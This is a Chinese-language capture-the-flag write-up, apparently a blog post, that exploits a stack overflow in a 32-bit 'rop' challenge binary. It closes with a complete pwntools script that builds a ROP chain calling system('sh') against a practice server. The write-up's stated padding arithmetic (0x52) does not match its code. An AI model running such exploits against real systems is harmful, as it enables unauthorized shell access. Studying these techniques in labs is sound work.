首先checksec查看程序保护机制和位数。32位程序,只开了栈不可执行保护。

ida中静态分析一下,首先要经过password的认证。

主要的功能函数有四个,第四个getflag函数只有在调试分析的时候才会看到,正常运行都是不知道的。(一开始看到这四个功能函数的时候还以为遇到了堆题,2333

关键的函数就两个,addlog和getflag两个函数。
addlog函数对于我们输入内容的长度没有检测

getflag函数中strcpy函数可以造成溢出
至此,一条rop链思路就出来了,利用程序中system函数调用的gad以及sh字符进行getshell。ROPgadget找到sh字符地址。

另外就是调试需要填充的长度了,可以看到dest形参与ebp的长度是0x48,加上ebp的长度,总共是0x52.
下面是exp
from pwn import *
from LibcSearcher import *
context(os="linux",arch = "i386")
#++++++++++++++++++++++++++++++++++++++++
filename = "./rop"
# p = process(filename)
p = remote("node4.buuoj.cn",29110)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda : p.recv()
ru = lambda x : p.recvuntil(x)
sl = lambda x : p.sendline(x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def add_log(message):
ru("0.Exit")
sl("1")
ru("Please input new log info:")
sl(message)
def display():
ru("0.Exit")
sl("2")
def print_log():
ru("0.Exit")
sl("3")
def cat_flag():
ru("0.Exit")
sl("4")
ru("Please input admin password:")
sl("administrator")
system_call = 0x080486B9
sh = 0x080482ea
padding = "a"*0x48
fake_ebp = "dead"
payload = flat(padding,fake_ebp,system_call,sh)
add_log(payload)
cat_flag()
itr()
本文详细介绍了针对32位程序的栈不可执行保护的漏洞利用,通过ida静态分析发现关键的addlog和getflag函数,特别是getflag中的strcpy函数存在溢出风险。通过构造ROP链,利用程序中已有的system函数和gad、sh字符,最终实现getshell。实验中还展示了如何确定填充长度并提供了exploit代码。
608

被折叠的 条评论
为什么被折叠?



